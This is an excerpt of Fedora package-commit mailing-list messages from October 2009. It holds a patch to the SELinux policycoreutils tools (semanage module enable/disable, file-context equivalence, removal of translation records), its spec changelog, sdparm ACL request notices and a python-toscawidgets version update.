+@@ -85,14 +92,15 @@
          -F, --file       Treat target as an input file for command, change multiple settings
  	-p, --proto      Port protocol (tcp or udp) or internet protocol version of node (ipv4 or ipv6)
  	-M, --mask       Netmask
@@ -2425,7 +1839,45 @@ diff --exclude-from=exclude --exclude=se
  	-P, --prefix     Prefix for home directory labeling
  	-L, --level      Default SELinux Level (MLS/MCS Systems only)
  	-R, --roles      SELinux Roles (ex: "sysadm_r staff_r")
-@@ -194,6 +195,7 @@
+-	-T, --trans      SELinux Level Translation (MLS/MCS Systems only)
+-
+ 	-s, --seuser     SELinux User Name
+ 	-t, --type       SELinux Type for the object
+ 	-r, --range      MLS/MCS Security Range (MLS/MCS Systems only)
++        --enable         Enable a module
++        --disable        Disable a module
+ """)
+                raise ValueError("%s\n%s" % (text, message))
+ 		
+@@ -115,11 +123,11 @@
+ 		valid_option["interface"] += valid_everyone + [ '-t', '--type', '-r', '--range']
+ 		valid_option["node"] = []
+ 		valid_option["node"] += valid_everyone + [ '-M', '--mask', '-t', '--type', '-r', '--range', '-p', '--protocol']
++		valid_option["module"] = []
++		valid_option["module"] += valid_everyone + [ '--enable', '--disable']
+ 		valid_option["fcontext"] = []
+ 		valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
+ 		valid_option["dontaudit"] = [ '-S', '--store' ]
+-		valid_option["translation"] = []
+-		valid_option["translation"] += valid_everyone + [ '-T', '--trans' ] 
+ 		valid_option["boolean"] = []
+ 		valid_option["boolean"] += valid_everyone + [ '--on', "--off", "-1", "-0", "-F", "--file"] 
+ 		valid_option["permissive"] = []
+@@ -180,7 +188,6 @@
+ 		selevel = ""
+ 		setype = ""
+ 		ftype = ""
+-		setrans = ""
+ 		roles = ""
+ 		seuser = ""
+ 		prefix = "user"
+@@ -190,10 +197,13 @@
+ 		modify = False
+ 		delete = False
+ 		deleteall = False
++		enable = False
++		disable = False
+ 		list = False
  		locallist = False
  		use_file = False
                  store = ""
@@ -2433,40 +1885,120 @@ diff --exclude-from=exclude --exclude=se
  			
  		object = argv[0]
  		option_dict=get_options()
-@@ -203,10 +205,11 @@
+@@ -203,10 +213,13 @@
  		args = argv[1:]
  
  		gopts, cmds = getopt.getopt(args,
 -					    '01adf:i:lhmnp:s:FCDR:L:r:t:T:P:S:M:',
-+					    '01ade:f:i:lhmnp:s:FCDR:L:r:t:T:P:S:M:',
++					    '01ade:f:i:lhmnp:s:FCDR:L:r:t:P:S:M:',
  					    ['add',
  					     'delete',
  					     'deleteall',
 +					     'equal=',
++					     'enable',
++					     'disable',
  					     'ftype=',
  					     'file',
  					     'help',
-@@ -250,6 +253,9 @@
+@@ -225,7 +238,6 @@
+ 					     'level=',
+ 					     'roles=',
+ 					     'type=',
+-					     'trans=',
+ 					     'prefix=',
+                                              'mask='
+ 					     ])
+@@ -235,26 +247,39 @@
+ 				
+ 		for o,a in gopts:
+ 			if o == "-a" or o == "--add":
+-				if modify or delete:
+-                                       raise ValueError(_("%s bad option") % o)
++                                set_action(o)
+ 				add = True
+ 				
+ 			if o == "-d"  or o == "--delete":
+-				if modify or add:
+-                                       raise ValueError(_("%s bad option") % o)
++                                set_action(o)
+ 				delete = True
++
+ 			if o == "-D"  or o == "--deleteall":
+-				if modify:
+-                                       raise ValueError(_("%s bad option") % o)
++                                set_action(o)
+ 				deleteall = True
++
  			if o == "-f"  or o == "--ftype":
  				ftype=a
  
 +			if o == "-e"  or o == "--equal":
 +				equal = a
 +
++			if o == "--enable":
++                                if disable:
++                                       raise ValueError(_("You can't disable and enable at the same time"))
++
++				enable = True
++
++			if o == "--disable":
++                                if enable:
++                                       raise ValueError(_("You can't disable and enable at the same time"))
++				disable = True
++
  			if o == "-F"  or o == "--file":
  				use_file = True
  
-@@ -326,6 +332,9 @@
+ 			if o == "-h" or o == "--help":
+-                               raise ValueError(_("%s bad option") % o)
++                               raise usage()
+ 
+ 			if o == "-n" or o == "--noheading":
+ 				heading = False
+@@ -263,8 +288,7 @@
+ 				locallist = True
+ 
+ 			if o == "-m"or o == "--modify":
+-				if delete or add:
+-                                       raise ValueError(_("%s bad option") % o)
++                                set_action(o)
+ 				modify = True
+ 				
+ 			if o == "-S" or o == '--store':
+@@ -297,9 +321,6 @@
+ 			if o == "-t" or o == "--type":
+ 				setype = a
+ 
+-			if o == "-T" or o == "--trans":
+-				setrans = a
+-
+                         if o == "--on" or o == "-1":
+                                value = "on"
+                         if o == "--off" or o == "-0":
+@@ -325,9 +346,10 @@
+ 		
  		if object == "boolean":
  			OBJECT = seobject.booleanRecords(store)
++                        modify = True
  		
+-		if object == "translation":
+-			OBJECT = seobject.setransRecords()
 +		if object == "module":
 +			OBJECT = seobject.moduleRecords(store)
-+		
- 		if object == "translation":
- 			OBJECT = seobject.setransRecords()
  		
-@@ -370,11 +379,17 @@
+ 		if object == "permissive":
+ 			OBJECT = seobject.permissiveRecords(store)
+@@ -358,9 +380,6 @@
+ 			if object == "login":
+ 				OBJECT.add(target, seuser, serange)
+ 
+-			if object == "translation":
+-				OBJECT.add(target, setrans)
+-
+ 			if object == "user":
+ 				OBJECT.add(target, roles.split(), selevel, serange, prefix)
+ 
+@@ -370,11 +389,17 @@
  			if object == "interface":
  				OBJECT.add(target, serange, setype)
  
@@ -2485,17 +2017,29 @@ diff --exclude-from=exclude --exclude=se
  			if object == "permissive":
  				OBJECT.add(target)
  
-@@ -394,6 +409,9 @@
+@@ -387,13 +412,18 @@
+ 			if object == "login":
+ 				OBJECT.modify(target, seuser, serange)
+ 
+-			if object == "translation":
+-				OBJECT.modify(target, setrans)
+-
+ 			if object == "user":
  				rlist = roles.split()
  				OBJECT.modify(target, rlist, selevel, serange, prefix)
  
 +			if object == "module":
-+				OBJECT.modify(target)
++                                if enable:
++                                       OBJECT.enable(target)
++                                elif disable:
++                                       OBJECT.disable(target)
++                                else:
++                                       OBJECT.modify(target)
 +
  			if object == "port":
  				OBJECT.modify(target, proto, serange, setype)
  
-@@ -404,7 +422,10 @@
+@@ -404,7 +434,10 @@
  				OBJECT.modify(target, mask, proto, serange, setype)
  
  			if object == "fcontext":
@@ -2507,10 +2051,252 @@ diff --exclude-from=exclude --exclude=se
  
                          return
  
+@@ -423,7 +456,7 @@
+ 
+                         return
+ 
+-                raise ValueError(_("Invalid command") % " ".join(argv))
++                raise ValueError(_("Invalid command: semanage %s") % " ".join(argv))
+ 
+ 	#
+ 	# 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/seobject.py policycoreutils-2.0.74/semanage/seobject.py
---- nsapolicycoreutils/semanage/seobject.py	2009-09-08 06:03:10.000000000 -0700
-+++ policycoreutils-2.0.74/semanage/seobject.py	2009-09-20 18:26:36.000000000 -0700
-@@ -1586,9 +1586,16 @@
+--- nsapolicycoreutils/semanage/seobject.py	2009-09-08 09:03:10.000000000 -0400
++++ policycoreutils-2.0.74/semanage/seobject.py	2009-10-01 11:34:19.000000000 -0400
+@@ -195,88 +195,6 @@
+ 	else:
+ 		return raw
+ 	
+-class setransRecords:
+-	def __init__(self):
+-		self.filename = selinux.selinux_translations_path()
+-		try:
+-			fd = open(self.filename, "r")
+-			translations = fd.readlines()
+-			fd.close()
+-		except IOError, e:
+-			raise ValueError(_("Unable to open %s: translations not supported on non-MLS machines: %s") % (self.filename, e) )
+-			
+-		self.ddict = {}
+-		self.comments = []
+-		for r in translations:
+-			if len(r) == 0:
+-				continue
+-			i = r.strip()
+-			if i == "" or i[0] == "#":
+-				self.comments.append(r)
+-				continue
+-			i = i.split("=")
+-			if len(i) != 2:
+-				self.comments.append(r)
+-				continue
+-                        if self.ddict.has_key(i[0]) == 0:
+-                               self.ddict[i[0]] = i[1]
+-
+-	def get_all(self):
+-		return self.ddict
+-
+-	def out(self):
+-		rec = ""
+-		for c in self.comments:
+-			rec += c
+-		keys = self.ddict.keys()
+-		keys.sort()
+-		for k in keys:
+-			rec += "%s=%s\n" %  (k, self.ddict[k])
+-		return rec
+-	
+-	def list(self, heading = 1, locallist = 0):
+-		if heading:
+-			print "\n%-25s %s\n" % (_("Level"), _("Translation"))
+-		keys = self.ddict.keys()
+-		keys.sort()
+-		for k in keys:
+-			print "%-25s %s" % (k, self.ddict[k])
+-		
+-	def add(self, raw, trans):
+-		if trans.find(" ") >= 0:
+-			raise ValueError(_("Translations can not contain spaces '%s' ") % trans)
+-
+-		if validate_level(raw) == None:
+-			raise ValueError(_("Invalid Level '%s' ") % raw)
+-		
+-		if self.ddict.has_key(raw):
+-			raise ValueError(_("%s already defined in translations") % raw)
+-		else:
+-			self.ddict[raw] = trans
+-		self.save()
+-	
+-	def modify(self, raw, trans):
+-		if trans.find(" ") >= 0:
+-
+-			raise ValueError(_("Translations can not contain spaces '%s' ") % trans)
+-		if self.ddict.has_key(raw):
+-			self.ddict[raw] = trans
+-		else:
+-			raise ValueError(_("%s not defined in translations") % raw)
+-		self.save()
+-		
+-	def delete(self, raw):
+-		self.ddict.pop(raw)
+-		self.save()
+-
+-	def save(self):
+-		(fd, newfilename) = tempfile.mkstemp('', self.filename)
+-		os.write(fd, self.out())
+-		os.close(fd)
+-		os.chmod(newfilename, os.stat(self.filename)[stat.ST_MODE])
+-		os.rename(newfilename, self.filename)
+-                os.system("/sbin/service mcstrans reload > /dev/null")
+-
+ class semanageRecords:
+ 	def __init__(self, store):
+                global handle
+@@ -315,6 +233,77 @@
+                self.transaction = False
+                self.commit()
+ 
++class moduleRecords(semanageRecords):
++	def __init__(self, store):
++               semanageRecords.__init__(self, store)
++
++	def get_all(self):
++               l = []
++               (rc, mlist, number) = semanage_module_list(self.sh)
++               if rc < 0:
++                      raise ValueError(_("Could not list SELinux modules"))
++
++               for i in range(number):
++                      mod = semanage_module_list_nth(mlist, i)
++                      l.append((semanage_module_get_name(mod), semanage_module_get_version(mod), semanage_module_get_enabled(mod)))
++               return l
++
++	def list(self, heading = 1, locallist = 0):
++		if heading:
++			print "\n%-25s%-10s\n" % (_("Modules Name"), _("Version"))
++                for t in self.get_all():
++                       if t[2] == 0:
++                              disabled = _("Disabled")
++                       else:
++                              disabled = ""
++                       print "%-25s%-10s%s" % (t[0], t[1], disabled)
++
++	def add(self, file):
++               rc = semanage_module_install_file(self.sh, file);
++               if rc >= 0:
++                      self.commit()
++
++	def disable(self, module):
++               need_commit = False                      
++               for m in module.split():
++                      rc = semanage_module_disable(self.sh, m)
++                      if rc < 0 and rc != -3:
++                             raise ValueError(_("Could not disable module %s (remove failed)") % m)
++                      if rc != -3:
++                             need_commit = True 
++               if need_commit:
++                      self.commit()
++			
++	def enable(self, module):
++               need_commit = False                      
++               for m in module.split():
++                      rc = semanage_module_enable(self.sh, m)
++                      if rc < 0 and rc != -3:
++                             raise ValueError(_("Could not enable module %s (remove failed)") % m)
++                      if rc != -3:
++                             need_commit = True 
++               if need_commit:
++                      self.commit()
++
++	def modify(self, file):
++               rc = semanage_module_update_file(self.sh, file);
++               if rc >= 0:
++                      self.commit()
++
++	def delete(self, module):
++               for m in module.split():
++                      rc = semanage_module_remove(self.sh, m)
++                      if rc < 0 and rc != -2:
++                             raise ValueError(_("Could not remove module %s (remove failed)") % m)
++                      
++               self.commit()
++			
++	def deleteall(self):
++               l = self.get_all()
++               if len(l) > 0:
++                      all = " ".join(l[0])
++                      self.delete(all)
++
+ class dontauditClass(semanageRecords):
+ 	def __init__(self, store):
+                semanageRecords.__init__(self, store)
+@@ -341,6 +330,7 @@
+                       name = semanage_module_get_name(mod)
+                       if name and name.startswith("permissive_"):
+                              l.append(name.split("permissive_")[1])
++
+                return l
+ 
+ 	def list(self, heading = 1, locallist = 0):
+@@ -1120,7 +1110,7 @@
+ 
+        def add(self, addr, mask, proto, serange, ctype):
+                 self.begin()
+-                self.__add(self, addr, mask, proto, serange, ctype)
++                self.__add(addr, mask, proto, serange, ctype)
+                 self.commit()
+ 
+        def __modify(self, addr, mask, proto, serange, setype):
+@@ -1420,6 +1410,48 @@
+ class fcontextRecords(semanageRecords):
+ 	def __init__(self, store = ""):
+ 		semanageRecords.__init__(self, store)
++                self.equiv = {}
++                self.equal_ind = False
++                try:
++                       fd = open(selinux.selinux_file_context_subs_path(), "r")
++                       for i in fd.readlines():
++                              src, dst = i.split()
++                              self.equiv[src] = dst
++                       fd.close()
++                except IOError:
++                       pass
++
++        def commit(self):
++                if self.equal_ind:
++                       subs_file = selinux.selinux_file_context_subs_path()
++                       tmpfile = "%s.tmp" % subs_file
++                       fd = open(tmpfile, "w")
++                       for src in self.equiv.keys():
++                              fd.write("%s %s\n" % (src, self.equiv[src]))
++                       fd.close()
++                       try:
++                              os.chmod(tmpfile, os.stat(subs_file)[stat.ST_MODE])
++                       except:
++                              pass
++                       os.rename(tmpfile,subs_file)
++                       self.equal_ind = False
++		semanageRecords.commit(self)
++
++        def add_equal(self, src, dst):
++                self.begin()
++                if src in self.equiv.keys():
++                       raise ValueError(_("Equivalence class for %s already exists") % src)
++                self.equiv[src] = dst
++                self.equal_ind = True
++                self.commit()
++
++        def modify_equal(self, src, dst):
++                self.begin()
++                if src not in self.equiv.keys():
++                       raise ValueError(_("Equivalence class for %s does not exists") % src)
++                self.equiv[src] = dst
++                self.equal_ind = True
++                self.commit()
+ 
+         def createcon(self, target, seuser = "system_u"):
+                 (rc, con) = semanage_context_create(self.sh)
+@@ -1586,9 +1618,16 @@
                                raise ValueError(_("Could not delete the file context %s") % target)
                         semanage_fcontext_key_free(k)
  	
@@ -2527,7 +2313,7 @@ diff --exclude-from=exclude --exclude=se
  		(rc,k) = semanage_fcontext_key_create(self.sh, target, file_types[ftype])
  		if rc < 0:
  			raise ValueError(_("Could not create a key for %s") % target)
-@@ -1644,11 +1651,11 @@
+@@ -1644,11 +1683,11 @@
  		return ddict
  			
  	def list(self, heading = 1, locallist = 0 ):
@@ -2542,15 +2328,9 @@ diff --exclude-from=exclude --exclude=se
  			if fcon_dict[k]:
  				if is_mls_enabled:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semodule/semodule.8 policycoreutils-2.0.74/semodule/semodule.8
---- nsapolicycoreutils/semodule/semodule.8	2009-09-17 05:59:43.000000000 -0700
-+++ policycoreutils-2.0.74/semodule/semodule.8	2009-09-20 18:26:36.000000000 -0700
-@@ -30,11 +30,17 @@
- install/replace a module package
- .TP
- .B  \-u,\-\-upgrade=MODULE_PKG
--upgrade an existing module package, or install if the module does not exist
-+upgrade an existing module package
- .TP
+--- nsapolicycoreutils/semodule/semodule.8	2009-09-17 08:59:43.000000000 -0400
++++ policycoreutils-2.0.74/semodule/semodule.8	2009-09-25 15:21:16.000000000 -0400
+@@ -35,6 +35,12 @@
  .B  \-b,\-\-base=MODULE_PKG   
  install/replace base module package
  .TP
@@ -2564,8 +2344,8 @@ diff --exclude-from=exclude --exclude=se
  remove existing module
  .TP
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semodule/semodule.c policycoreutils-2.0.74/semodule/semodule.c
---- nsapolicycoreutils/semodule/semodule.c	2009-09-17 05:59:43.000000000 -0700
-+++ policycoreutils-2.0.74/semodule/semodule.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/semodule/semodule.c	2009-09-17 08:59:43.000000000 -0400
++++ policycoreutils-2.0.74/semodule/semodule.c	2009-09-20 21:26:36.000000000 -0400
 @@ -22,12 +22,12 @@
  
  #include <semanage/modules.h>
@@ -2684,17 +2464,8 @@ diff --exclude-from=exclude --exclude=se
  						    (m);
  					}
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/Makefile policycoreutils-2.0.74/setfiles/Makefile
---- nsapolicycoreutils/setfiles/Makefile	2009-07-07 12:32:32.000000000 -0700
-+++ policycoreutils-2.0.74/setfiles/Makefile	2009-09-20 18:26:36.000000000 -0700
-@@ -5,7 +5,7 @@
- LIBDIR ?= $(PREFIX)/lib
- AUDITH = $(shell ls /usr/include/libaudit.h 2>/dev/null)
- 
--CFLAGS = -Werror -Wall -W
-+CFLAGS = -g -Werror -Wall -W
- override CFLAGS += -I$(PREFIX)/include
- LDLIBS = -lselinux -lsepol -L$(LIBDIR)
- 
+--- nsapolicycoreutils/setfiles/Makefile	2009-07-07 15:32:32.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/Makefile	2009-09-25 15:21:58.000000000 -0400
 @@ -16,7 +16,7 @@
  
  all: setfiles restorecon
@@ -2705,8 +2476,8 @@ diff --exclude-from=exclude --exclude=se
  restorecon: setfiles
  	ln -sf setfiles restorecon
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/restore.c policycoreutils-2.0.74/setfiles/restore.c
---- nsapolicycoreutils/setfiles/restore.c	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/setfiles/restore.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/setfiles/restore.c	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/setfiles/restore.c	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,519 @@
 +#include "restore.h"
 +
@@ -3228,8 +2999,8 @@ diff --exclude-from=exclude --exclude=se
 +
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/restore.h policycoreutils-2.0.74/setfiles/restore.h
---- nsapolicycoreutils/setfiles/restore.h	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/setfiles/restore.h	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/setfiles/restore.h	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/setfiles/restore.h	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,49 @@
 +#ifndef RESTORE_H
 +#define RESTORE_H
@@ -3281,8 +3052,8 @@ diff --exclude-from=exclude --exclude=se
 +
 +#endif
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/setfiles.c policycoreutils-2.0.74/setfiles/setfiles.c
---- nsapolicycoreutils/setfiles/setfiles.c	2009-09-17 05:59:43.000000000 -0700
-+++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/setfiles/setfiles.c	2009-09-17 08:59:43.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-09-20 21:26:36.000000000 -0400
 @@ -1,26 +1,12 @@
 -#ifndef _GNU_SOURCE
 -#define _GNU_SOURCE


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.646
retrieving revision 1.647
diff -u -p -r1.646 -r1.647
--- policycoreutils.spec	21 Sep 2009 13:54:03 -0000	1.646
+++ policycoreutils.spec	1 Oct 2009 15:39:11 -0000	1.647
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 4%{?dist}
+Release: 6%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -88,7 +88,6 @@ tar -jxf %{SOURCE8} -C %{buildroot}/
 rm -f %{buildroot}/usr/share/man/ru/man8/genhomedircon.8.gz
 ln -sf consolehelper %{buildroot}%{_bindir}/system-config-selinux
 ln -sf consolehelper %{buildroot}%{_bindir}/selinux-polgengui
-ln -s /sbin/load_policy %{buildroot}%{_sbindir}/load_policy
 
 desktop-file-install	--vendor fedora \
 			--dir ${RPM_BUILD_ROOT}%{_datadir}/applications	\
@@ -297,6 +296,13 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
+- Fixes for polgengui to handle tcp ports correctly
+- Fix semanage node -a
+
+* Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-5
+- Fixes for semanage -equiv, readded modules, --enable, --disable
+
 * Sun Sep 20 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-4
 - Close sandbox when eclipse exits
 



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:45 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchcommits
Message-ID: <20091001154245.8AFF010F875@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchcommits acl on sdparm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:45 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchbugzilla
Message-ID: <20091001154245.B5E5D10F88B@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchbugzilla acl on sdparm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:46 +0000
Subject: [pkgdb] sdparm: sharkcz has requested commit
Message-ID: <20091001154246.4B73310F892@bastion2.fedora.phx.redhat.com>

sharkcz has requested the commit acl on sdparm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:48 +0000
Subject: [pkgdb] sdparm: sharkcz has requested approveacls
Message-ID: <20091001154248.EEDC510F8A9@bastion2.fedora.phx.redhat.com>

sharkcz has requested the approveacls acl on sdparm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:58 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchbugzilla
Message-ID: <20091001154258.390A410F88B@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchbugzilla acl on sdparm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:42:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:42:58 +0000
Subject: [pkgdb] sdparm: sharkcz has requested commit
Message-ID: <20091001154259.27A1B10F8A8@bastion2.fedora.phx.redhat.com>

sharkcz has requested the commit acl on sdparm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:02 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchcommits
Message-ID: <20091001154303.27EAD10F8B0@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchcommits acl on sdparm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:04 +0000
Subject: [pkgdb] sdparm: sharkcz has requested approveacls
Message-ID: <20091001154304.E2EA710F8B2@bastion2.fedora.phx.redhat.com>

sharkcz has requested the approveacls acl on sdparm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:10 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchbugzilla
Message-ID: <20091001154310.7ACFA10F8B4@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchbugzilla acl on sdparm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:12 +0000
Subject: [pkgdb] sdparm: sharkcz has requested watchcommits
Message-ID: <20091001154312.C475610F890@bastion2.fedora.phx.redhat.com>

sharkcz has requested the watchcommits acl on sdparm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:14 +0000
Subject: [pkgdb] sdparm: sharkcz has requested commit
Message-ID: <20091001154314.71DC710F8B7@bastion2.fedora.phx.redhat.com>

sharkcz has requested the commit acl on sdparm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 15:43:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:43:16 +0000
Subject: [pkgdb] sdparm: sharkcz has requested approveacls
Message-ID: <20091001154316.9411A10F8A8@bastion2.fedora.phx.redhat.com>

sharkcz has requested the approveacls acl on sdparm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From lmacken at fedoraproject.org  Thu Oct  1 15:43:58 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 15:43:58 +0000 (UTC)
Subject: rpms/python-toscawidgets/devel .cvsignore, 1.10,
	1.11 python-toscawidgets.spec, 1.13, 1.14 sources, 1.10, 1.11
Message-ID: <20091001154358.0A33911C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-toscawidgets/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1246

Modified Files:
	.cvsignore python-toscawidgets.spec sources 
Log Message:
 0.9.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	27 Jun 2009 22:25:41 -0000	1.10
+++ .cvsignore	1 Oct 2009 15:43:57 -0000	1.11
@@ -1 +1 @@
-ToscaWidgets-0.9.7.1.tar.gz
+ToscaWidgets-0.9.8.tar.gz


Index: python-toscawidgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/devel/python-toscawidgets.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- python-toscawidgets.spec	26 Jul 2009 23:15:35 -0000	1.13
+++ python-toscawidgets.spec	1 Oct 2009 15:43:57 -0000	1.14
@@ -4,8 +4,8 @@
 %global srcname ToscaWidgets
 
 Name:           python-toscawidgets
-Version:        0.9.7.1
-Release:        2%{?dist}
+Version:        0.9.8
+Release:        1%{?dist}
 Summary:        Toolkit to help create widgets for WSGI web apps
 Group:          Development/Languages
 License:        MIT
@@ -56,6 +56,27 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8 release
+- Remove js patch which is now upstream
+
+* Thu Aug 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.4.dev20090825
+- Apply a patch from http://toscawidgets.org/trac/tw/ticket/30
+  to fix problems with encoding javascript methods.
+
+* Tue Aug 25 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.3.dev20090825
+- Update to the latest mercurial snapshot, which fixes the python 2.4
+  incompatibilites.
+
+* Mon Aug 24 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.2.dev20090822
+- Add a couple of patches to get things working on Python2.4
+
+* Sat Aug 22 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.1.dev20090822
+- Update to a 0.9.8 development snapshot
+
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	27 Jun 2009 22:25:42 -0000	1.10
+++ sources	1 Oct 2009 15:43:57 -0000	1.11
@@ -1 +1 @@
-3994904d8b0091ccce357eb61ab1caec  ToscaWidgets-0.9.7.1.tar.gz
+b862d639102242fa6893f2677864d5b1  ToscaWidgets-0.9.8.tar.gz



From dwalsh at fedoraproject.org  Thu Oct  1 15:44:12 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 15:44:12 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-rhat.patch,1.447,1.448
Message-ID: <20091001154413.004F511C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1354

Modified Files:
	policycoreutils-rhat.patch 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
- Fixes for polgengui to handle tcp ports correctly
- Fix semanage node -a


policycoreutils-rhat.patch:
 Makefile                                    |    2 
